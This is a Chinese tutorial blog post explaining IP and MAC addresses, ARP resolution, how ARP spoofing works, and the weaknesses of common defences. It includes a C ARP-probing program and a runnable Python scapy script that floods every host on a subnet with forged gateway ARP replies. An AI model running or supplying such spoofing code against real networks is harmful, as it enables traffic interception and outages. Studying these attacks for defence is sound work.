ARP欺骗

一、两个地址

1、IP地址

      网际协议地址(Internet Protocol Address),即为我们通常所说的IP地址。IP地址是IP协议提供的一种统一的地址格式,它为互联网上的每一个网络和每一台主机分配一个逻辑地址,以此来屏蔽物理地址的差异。IP地址被用来给Internet上的电脑一个编号。日常所见到的情况是每台联网的PC上都需要有IP地址,才能正常通信。我们可以把“个人电脑”比作“一台电话”,那么“IP地址”就相当于“电话号码”,而Internet中的路由器,就相当于电信局的“程控式交换机”。

      IP地址是一个32位的二进制数,通常被分割为4个“8位二进制数”(也就是4个字节)。IP地址通常用“点分十进制”表示成(a.b.c.d)的形式,其中,a,b,c,d都是0~255之间的十进制整数。例:点分十进IP地址(100.4.5.6),实际上是32位二进制数(01100100.00000100.00000101.00000110)。

      IP地址位属于OSI七层模型网络层。

2、MAC地址

      媒体访问控制(Media Access Control),或称作物理地址,硬件地址,用来定义网络设备的位置。MAC地址位属于OSI七层模型中的数据链路层。因此每个主机都有一个MAC地址,在网络中的位置则是IP地址。

     MAC(Medium/Media Access Control)地址,用来表示互联网上每一个站点的标识符,采用十六进制数表示,共六个字节(48位)。其中,前三个字节是由IEEE的注册管理机构RA负责给不同厂家分配的代码(高位24位),也称为“编制上唯一的标识符”(Organizationally Unique Identifier),后三个字节(低位24位)由各厂家自行指派给生产的适配器接口,称为扩展标识符(唯一性)。一个地址块可以生成224个不同的地址。MAC地址实际上就是适配器地址或适配器标识符EUI-48。

      MAC地址是由网卡决定的,通常是由网卡生产厂家烧入网卡的EPROM,它存储的是传输数据时真正赖以标识发出数据的电脑和接收数据的主机的地址。

      MAC地址具有全球唯一性,如同我们的身份证号码。

3、IP地址与MAC地址比较

    IP地址和MAC地址相同点是它们都唯一,不同的特点主要有:

    对于网络上的某一设备,如一台计算机或一台路由器,其IP地址是基于网络拓扑设计出的,同一台设备或计算机上,改动IP地址是很容易的(但必须唯一),而MAC则是生产厂商烧录好的,一般不能改动。我们可以根据需要给一台主机指定任意的IP地址,如我们可以给局域网上的某台计算机分配IP地址为192.168.0.112 ,也可以将它改成192.168.0.200。而任一网络设备(如网卡,路由器)一旦生产出来以后,其MAC地址不可由本地连接内的配置进行修改。如果一个计算机的网卡坏了,在更换网卡之后,该计算机的MAC地址就变了。

    长度不同。IP地址为32位,MAC地址为48位。

    分配依据不同。IP地址的分配是基于网络拓扑,MAC地址的分配是基于制造商

    寻址协议层不同。IP地址应用于OSI第三层,即网络层,而MAC地址应用在OSI第二层,即数据链路层。 数据链路层协议可以使数据从一个节点传递到相同链路的另一个节点上(通过MAC地址),而网络层协议使数据可以从一个网络传递到另一个网络上(ARP根据目的IP地址,找到中间节点的MAC地址,通过中间节点传送,从而最终到达目的网络)。

      IP地址就如同一个职位,而MAC地址则好像是去应聘这个职位的人才,职位既可以让甲坐,也可以让乙坐,同样的道理一个结点的IP地址对于网卡是不做要求,基本上什么样的厂家都可以用,也就是说IP地址与MAC地址并不存在着绑定关系。本身有的计算机流动性就比较强,正如同人才可以给不同的单位干活的道理一样的,人才的流动性是比较强的。职位和人才的对应关系就有点像是IP地址与MAC地址的对应关系。比如,如果一个网卡坏了,可以被更换,而无须取得一个新的IP地址。如果一个IP主机从一个网络移到另一个网络,可以给它一个新的IP地址,而无须换一个新的网卡。当然MAC地址除了仅仅只有这个功能还是不够的,就拿人类社会与网络进行类比,通过类比,我们就可以发现其中的类似之处,更好地理解MAC地址的作用。无论是局域网,还是广域网中的计算机之间的通信,最终都表现为将数据包从某种形式的链路上的初始结点出发,从一个结点传递到另一个结点,最终传送到目的结点。数据包在这些节点之间的移动都是由ARP负责将IP地址映射到MAC地址上来完成的。其实人类社会和网络也是类似的,试想在人际关系网络中,甲要捎个口信给丁,就会通过乙和丙中转一下,最后由丙 转告给丁。在网络中,这个口信就好比是一个网络中的一个数据包。数据包在传送过程中会不断询问相邻节点的MAC地址,这个过程就好比是人类社会的口信传送过程。


二、地址解析协议

     以太网环境下,同一个网段的主机之间需要互相知道对方的MAC地址,才能访问。

     TCP/IP协议栈从上层到下层的封装过程中,第三层封装需要知道目的IP,第二层封装需要知道目的MAC。

     目的IP一般由用户手工输入,或者由应用程序填充,也可以通过名称解析系统解析得到,而目的MAC就需要使用ARP来解析。

     地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。

      针对不同网段,有ARP的衍生版本Proxy ARP,主要工作原理为,查询不属于此局域网的IP地址的映射MAC地址,全部交由网关路由器处理,网关将ARP请求包中的MAC地址更换为网关路由器的MAC地址继续向外发送,直到的到应答。得到应答后网关在发回给网段内主机。


三、地址解析过程

     ARP解析MAC地址的过程:

第一步:

     上层应用产生数据,这里用ICMP协议ping为例,在ICMP协议中定位了目的IP。

第二步封装的过程如下:

     A应用层:产生ICMP数据包;

     B网络层:目的IP为172.16.1.200,源IP为172.16.1.1;

     C数据链路层:因为不知道目的IP的对应MAC地址,ARP工作;

     三层到二层的封装失败,由于二层是以太网,ARP的工作机制便会产生ARP Request去解析目的MAC,此时,源MAC为数据发起者的MAC,目的MAC地址为FFFF:FFFF:FFFF(ARP广播地址)

第三步:

     ARP Request到达本网段中的所有设备上,因为目的为FFFF:FFFF:FFFF,所以所有设备都可以拆掉二层的封装,然后解读ARP数据包中需要解析的目的IP。

第四步:

     目的IP不正确的设备直接忽略这个ARP请求包,目的IP正确的设备,会产生一个ARP Reply去回应这个ARP Request。

此时,二层的源MAC为被解析设备的MAC,目的为ARP解析发起者的MAC。

第五步:

     数据的发起者接到ARP Reply后,将目的IP与目的MAC的对应关系添加到自己的ARP表中。

第六步:

     之前未完成二层封装的FTP数据,这时重新开始封装二层头部,此时,正确的目的MAC就被封装到了整个数据帧中。

      只有完成了整个TCP/IP协议栈封装的数据帧,才能正常的从主机上发出去。


四、ARP欺骗原理和过程

1、伪装成网关

       欺骗源把自己(或者其他非网关主机)伪装成网关,向局域网内的被骗主机发送ARP应答报文。使得局域网内的主机误以为欺骗源的MAC是网关MAC地址。使得原本流向网关的数据都被错误地发送到欺骗源。示意图如下:


2、伪装成主机

     欺骗源C把自己伪装成局域网内的另一台主机B,将主机B IP地址对应的MAC地址替换为欺骗源C的IP地址。使得局域网内A发往B的报文都流向了C。示意图如下:


 我们假设局域网中有三台主机,分别是网关,欺骗源和被骗主机,他们的IP的MAC地址都标在图中。欺骗源每隔一定的时间间隔就向网关发送一个ARP报文,内容为被骗主机的IP地址是192.168.1.3,MAC地址是BB-BB-BB-BB-BB-BB。这样当网关更新ARP缓存表的时候,就会把这个错误的IP和MAC映射关系登记在ARP缓存表中,下次当网关转发报文的时候就会把发送给被骗主机的报文发送给欺骗源。


五、ARP欺骗工具

      ARP欺骗的核心为替换MAC地址伪造ARP应答包,向局域网中广播此ARP应答包,使对应主机接受并处理,将ARP表中的映射关系更新为伪造后的映射关系。

C源代码:(转载自互联网,作者不详)


/* 

 * Author:Chongrui 

 * Compile:gcc anti_arp_test.c -lpthread -lpcap -lrt -o arp_test 

  */  

#include <stdio.h>  

#include <stdlib.h>  

#include <string.h>  

#include <unistd.h>  

#include <sys/socket.h>  

#include <linux/if_arp.h>  

#include <errno.h>  

#include <arpa/inet.h>  

#include <sys/ioctl.h>  

#include<sys/types.h>  

#include<pcap.h>  

#include<pthread.h>  

#include<time.h>  

#define ARP_REQUEST 1  //arp请求  

#define ARP_REPLY 2    //arp回应  

#define MAXBYTES2CAPTURE 2048  

//线程的回调函数  

void* thread_function(void*args);  

//以太网头部  

typedef struct ehhdr  

{  

    unsigned char eh_dst[6];   /* destination ethernet addrress */  

    unsigned char eh_src[6];   /* source ethernet addresss */  

    unsigned short eh_type;   /* ethernet pachet type */  

}EHHDR, *PEHHDR;  

  

//ARP报文格式(14+28=42)  

struct frame_arp{  

    struct ehhdr fh;  //以太帧首部  

    struct arphdr ah; //arp首部  

    unsigned char src_mac[6]; //源mac  

    unsigned char src_ip[4];  //源IP  

    unsigned char dst_mac[6]; //目的MAC  

    unsigned char dst_ip[4]; //目的IP  

};  

//arp报文  

typedef struct arp_hdr{  

    u_int16_t htype; //hardware type  

    u_int16_t ptype; //protocol type  

    u_char hlen; //hardware address length  

    u_char plen; //protocol address length  

    u_int16_t oper; //operation code  

    u_char sha[6]; //sender hardware address  

    u_char spa[4]; //sender ip address  

    u_char tha[6]; //target hardware address  

    u_char tpa[4]; //target ip address  

}arphdr_t;  

  

//主线程与子线程传递参数  

struct infos{  

    char *ip_str ;  

    char *interface ;  

} ;  

//显示出错信息  

void show_error(const char* func_name){  

    printf("%s has an error:%s\n",func_name,strerror(errno)) ;  

}  

  

//输出欢迎信息  

void welcome(char*ip){  

    printf("Anti Arp Test!\nPowered by Chongrui\nE-mail:739858341@qq.com") ; 

 printf("Target:%s\n",ip) ;  

    printf("Net Device:eth2\n") ;  

}  

  

int main(int args,char* argv[]){  

    if(args < 3){  

        printf("Usage:anti_arp_test devName targetIP\n") ;  

        exit(0) ;  

    }  

  

    //开启子线程  

    struct infos infos ;  

    infos.interface = argv[1] ;  

    infos.ip_str = argv[2] ;  

    welcome(infos.ip_str) ;  

    pthread_t subthread ;  

    pthread_create(&subthread,NULL,thread_function,(void*)&infos) ;  

    sleep(2) ;  

    int i = 0;  

    //网络接口的IP和掩码  

    bpf_u_int32 netaddr = 0,mask = 0;  

    //BPF过滤程序  

    struct bpf_program filter ;  

    //错误信息保存  

    char errbuf[PCAP_ERRBUF_SIZE] ;  

    //设备指针  

    pcap_t *descr = NULL ;  

    //抓取的包信息  

    struct pcap_pkthdr pkthdr ;  

    //报信息的指针  

    const unsigned char *packet = NULL ;  

    //ARP首部  

    arphdr_t *arpheader = NULL ;  

    memset(errbuf,0,PCAP_ERRBUF_SIZE) ;  

  

    struct in_addr targetIP ;  

    int sockfd ;  

    int ret = 0;  

    struct sockaddr_ll toaddr ; //物理层地址格式   不能再使用sockaddr_in  

    struct ifreq req ;  

    struct frame_arp arp;   //arp包  

    //设置packet类型的sockfd,实现在链路层发包  

    sockfd = socket(AF_PACKET,SOCK_RAW,ETH_P_ARP) ;  

    if(sockfd == -1){  

        show_error("socket") ;  

    }  

//初始化sockaddr_ll  物理层数据包寻址地址结构  

    memset(&toaddr,0,sizeof(toaddr)) ;  

    memset(&req,0,sizeof(req)) ;  

    toaddr.sll_family = AF_PACKET ;  

    //找到eth2网卡  

    strcpy(req.ifr_name,argv[1]) ;  

    ret = ioctl(sockfd,SIOCGIFINDEX,&req) ;  

    if(ret == -1){  

        show_error("ioctl") ;  

    }  

  

    toaddr.sll_ifindex = req.ifr_ifindex ;  //填网卡  

    toaddr.sll_protocol = htons(ETH_P_ARP) ;    //填协议  

  

    //填充arp报文  

    memset(&arp,0,sizeof(arp)) ;  

    //假的广播地址 前1个字节为ff  

    unsigned char fake_mac[6] = {0xff,0xff,0x00,0x00,0x00,0x00} ;  

    //源MAC地址   随便填  

    unsigned char src_mac[6] = {0x00,0x0c,0x29,0x92,0x64,0x10} ;  

    //源IP   随便填  

    unsigned char src_ip[4] = {10,10,10,132} ;  

    //目的IP  

    //unsigned char dst_ip[4] = {10,10,10,128} ;  

    //unsigned char dst_ip[4] = {p[0],p[1],p[2],p[3]} ;  

    //目的MAC   随便填  

    unsigned char dst_mac[6] = {0x00,0x00,0x00,0x00} ;  

  

    //填充以太网帧  

    arp.fh.eh_type = htons(0x0806) ; //arp协议  

    memcpy(arp.fh.eh_dst,fake_mac,6) ;  

    memcpy(arp.fh.eh_src,src_mac,6) ;  

  

    //填充arp头部  

    arp.ah.ar_hln = sizeof(src_mac) ;   //mac长度  

    arp.ah.ar_hrd = htons(ARPHRD_ETHER) ;    //硬件类型:以太网  

    arp.ah.ar_op = htons(ARPOP_REQUEST) ;       //arp类型   请求报文  

    arp.ah.ar_pln = sizeof(src_ip) ;  //ip长度  

    arp.ah.ar_pro = htons(ETH_P_IP) ;    //协议:IP协议  

  

    //填充剩余数据  

    inet_pton(AF_INET,argv[2],&targetIP);   //填充目标IP地址  

    memcpy(arp.dst_ip,&targetIP,4) ;    //设置用户输入的targetIP  

    memcpy(arp.dst_mac,dst_mac,6) ;  

    memcpy(arp.src_ip,src_ip,4) ;  

    memcpy(arp.src_mac,src_mac,6) ;  

  

    //发送  

    ret = sendto(sockfd,&arp,sizeof(arp),0,(struct sockaddr*)&toaddr,sizeof(toaddr)) ;  

    if(ret == -1){  

        show_error("sendto") ;  

    }  

    close(sockfd) ;  

    printf("Send Data End!\n") ;  

  

    //等待子线程  

    struct timespec joinDelay ;  

    clock_gettime(CLOCK_REALTIME, &joinDelay) ;  

    joinDelay.tv_sec += 5 ;  

    pthread_timedjoin_np(subthread, NULL, &joinDelay);  

    printf("Timeout...\nTarget host:%s may be a good guy....\n",argv[2]) ;  

    return 0 ;  

}  

/** 

 * 线程的回调函数 

 */  

void* thread_function(void*args){  

    printf("Sub thread working...\n") ;  

    unsigned char ip_dec[4] = {0,0,0,0} ;  

    struct sockaddr_in tmpip ;  

    char capture_ip[256] = {0} ;  

    int i = 0;  

    struct infos *message = (struct infos*)args ;  

    //网络接口的IP和掩码  

    bpf_u_int32 netaddr = 0,mask = 0;  

    //BPF过滤程序  

    struct bpf_program filter ;  

    //错误信息保存  

    char errbuf[PCAP_ERRBUF_SIZE] ;  

    //设备指针  

    pcap_t *descr = NULL ;  

    //抓取的包信息  

    struct pcap_pkthdr pkthdr ;  

    //报信息的指针  

    const unsigned char *packet = NULL ;  

    //ARP首部  

    arphdr_t *arpheader = NULL ;  

    memset(errbuf,0,PCAP_ERRBUF_SIZE) ;  

  

    //获取可用网卡  

    descr = pcap_open_live(message->interface,MAXBYTES2CAPTURE,1,512,errbuf) ;  

    //获取网卡的IP和掩码  

    pcap_lookupnet(message->interface,&netaddr,&mask,errbuf) ;  

    //BPF过滤程序编译  

    pcap_compile(descr,&filter,"arp",1,mask) ;  

    pcap_setfilter(descr,&filter) ;  

    while(1){  

        packet = pcap_next(descr,&pkthdr) ;  

        if(packet == NULL){  

            continue;  

        }  

        //以太网帧为14bytes  

        arpheader = (struct arp_hdr *)(packet + 14) ;  

        if(ntohs(arpheader->htype)==1 && ntohs(arpheader->ptype)==0x0800){  

            printf("Captrue One Packet...Analysing...") ;  

            for(i=0;i<4;i++){  

                ip_dec[i] = arpheader->spa[i] ;  

            }  

  

            //判断源IP是否是检测IP  

            memcpy(&tmpip,ip_dec,4) ;  

            inet_ntop(AF_INET,&tmpip,capture_ip,sizeof(capture_ip)) ;  

            if(!strcmp(capture_ip,message->ip_str)){  

                printf("Target host:%s==========>A very bad guy!!!!!!!\n",message->ip_str) ;  

                exit(1) ;  

            }  

            printf("\n") ;  

        }  

    } 

 

python 嵌入网页 实现 ARP欺骗伪造网关

#coding:utf-8

from scapy.all import ARP,send,arping

import sys,re

stdout=sys.stdout

IPADDR="192.168.1.*"

gateway_ip='192.168.1.1'

#伪造网关mac地址

gateway_hw='00:11:22:33:44:55'

p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)

def arp_hack(ip,hw):

  #伪造来自网关的arp应答

  t=p

  t.hwdst=hw

  t.pdst=ip

  send(t)

def get_host():

  #得到在线主机的mac地址和对应ip地址 

  hw_ip = {}

  sys.stdout = open('host.info','w')

  arping(IPADDR)

  sys.stdout = stdout

  f = open('host.info','r')

  info = f.readlines()

  f.close

  del info[0]

  del info[0]

  for host in info :

    temp = re.split(r'\s+',host)

    hw_ip[temp[1]] = temp[2]

  return hw_ip

if __name__ == "__main__":

  hw_ip = get_host()

  while 1 :

    for i in hw_ip :

      arp_hack(hw=i,ip=hw_ip[i])


六、ARP欺骗防范措施


一、双绑措施

双绑是在路由器和终端上都进行IP-MAC绑定的措施,它可以对ARP欺骗的两边,伪造网关和截获数据,都具有约束的作用。这是从ARP欺骗原理上进行的防范措施,也是最普遍应用的办法。它对付最普通的ARP欺骗是有效的。

但双绑的缺陷在于3点:

1、在终端上进行的静态绑定,很容易被升级的ARP攻击所捣毁,病毒的一个ARP–d命令,就可以使静态绑定完全失效。

2、在路由器上做IP-MAC表的绑定工作,费时费力,是一项繁琐的维护工作。换个网卡或更换IP,都需要重新配置路由。对于流动性电脑,这个需要随时进行的绑定工作,是网络维护的巨大负担,网管员几乎无法完成。

3、双绑只是让网络的两端电脑和路由不接收相关ARP信息,但是大量的ARP攻击数据还是能发出,还要在内网传输,大幅降低内网传输效率,依然会出现问题。

因此,虽然双绑曾经是ARP防范的基础措施,但因为防范能力有限,管理太麻烦,现在它的效果越来越有限了。

二、ARP个人防火墙

在一些杀毒软件中加入了ARP个人防火墙的功能,它是通过在终端电脑上对网关进行绑定,保证不受网络中假网关的影响,从而保护自身数据不被窃取的措施。ARP防火墙使用范围很广,有很多人以为有了防火墙,ARP攻击就不构成威胁了,其实完全不是那么回事。

ARP个人防火墙也有很大缺陷:

1、它不能保证绑定的网关一定是正确的。如果一个网络中已经发生了ARP欺骗,有人在伪造网关,那么,ARP个人防火墙上来就会绑定这个错误的网关,这是具有极大风险的。即使配置中不默认而发出提示,缺乏网络知识的用户恐怕也无所适从。

2 、ARP是网络中的问题,ARP既能伪造网关,也能截获数据,是个“双头怪”。在个人终端上做ARP防范,而不管网关那端如何,这本身就不是一个完整的办法。ARP个人防火墙起到的作用,就是防止自己的数据不会被盗取,而整个网络的问题,如掉线、卡滞等,ARP个人防火墙是无能为力的。

因此,ARP个人防火墙并没有提供可靠的保证。最重要的是,它是跟网络稳定无关的措施,它是个人的,不是网络的。

三、VLAN和交换机端口绑定

通过划分VLAN和交换机端口绑定,以图防范ARP,也是常用的防范方法。做法是细致地划分VLAN,减小广播域的范围,使ARP在小范围内起作用,而不至于发生大面积影响。同时,一些网管交换机具有MAC地址学习的功能,学习完成后,再关闭这个功能,就可以把对应的MAC和端口进行绑定,避免了病毒利用ARP攻击篡改自身地址。也就是说,把ARP攻击中被截获数据的风险解除了。这种方法确实能起到一定的作用。

不过,VLAN和交换机端口绑定的问题在于:

1、没有对网关的任何保护,不管如何细分VLAN,网关一旦被攻击,照样会造成全网上网的掉线和瘫痪。

2、把每一台电脑都牢牢地固定在一个交换机端口上,这种管理太死板了。这根本不适合移动终端的使用,从办公室到会议室,这台电脑恐怕就无法上网了。在无线应用下,又怎么办呢?还是需要其他的办法。

3、实施交换机端口绑定,必定要全部采用高级的网管交换机、三层交换机,整个交换网络的造价大大提高。

因为交换网络本身就是无条件支持ARP操作的,就是它本身的漏洞造成了ARP攻击的可能,它上面的管理手段不是针对ARP的。因此,在现有的交换网络上实施ARP防范措施,属于以子之矛攻子之盾。而且操作维护复杂,基本上是个费力不讨好的事情。

四、PPPoE

网络下面给每一个用户分配一个帐号、密码,上网时必须通过PPPoE认证,这种方法也是防范ARP措施的一种。PPPoE拨号方式对封包进行了二次封装,使其具备了不受ARP欺骗影响的使用效果,很多人认为找到了解决ARP问题的终极方案。

问题主要集中在效率和实用性上面:

1、PPPoE需要对封包进行二次封装,在接入设备上再解封装,必然降低了网络传输效率,造成了带宽资源的浪费,要知道在路由等设备上添加PPPoE Server的处理效能和电信接入商的PPPoE Server可不是一个数量级的。

2、PPPoE方式下局域网间无法互访,在很多网络都有局域网内部的域控服务器、DNS服务器、邮件服务器、OA系统、资料共享、打印共享等等,需要局域网间相互通信的需求,而PPPoE方式使这一切都无法使用,是无法被接受的。

3、不使用PPPoE,在进行内网访问时,ARP的问题依然存在,什么都没有解决,网络的稳定性还是不行。

因此,PPPoE在技术上属于避开底层协议连接,眼不见心不烦,通过牺牲网络效率换取网络稳定。最不能接受的,就是网络只能上网用,内部其他的共享就不能在PPPoE下进行了。



  • 1
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值